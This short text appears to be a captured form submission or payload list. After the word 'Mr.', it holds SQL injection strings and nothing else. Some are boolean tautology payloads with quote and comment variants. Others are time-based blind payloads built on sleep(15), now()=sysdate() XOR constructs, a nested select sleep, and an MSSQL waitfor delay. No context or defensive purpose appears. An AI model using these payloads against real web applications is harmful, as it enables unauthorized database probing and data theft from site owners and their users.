Mr.

-1 OR 2+550-550-1=0+0+0+1

-1' OR 2+736-736-1=0+0+0+1 --

-1' OR 2+790-790-1=0+0+0+1 or 'gI4owOwJ'='

-1" OR 2+206-206-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --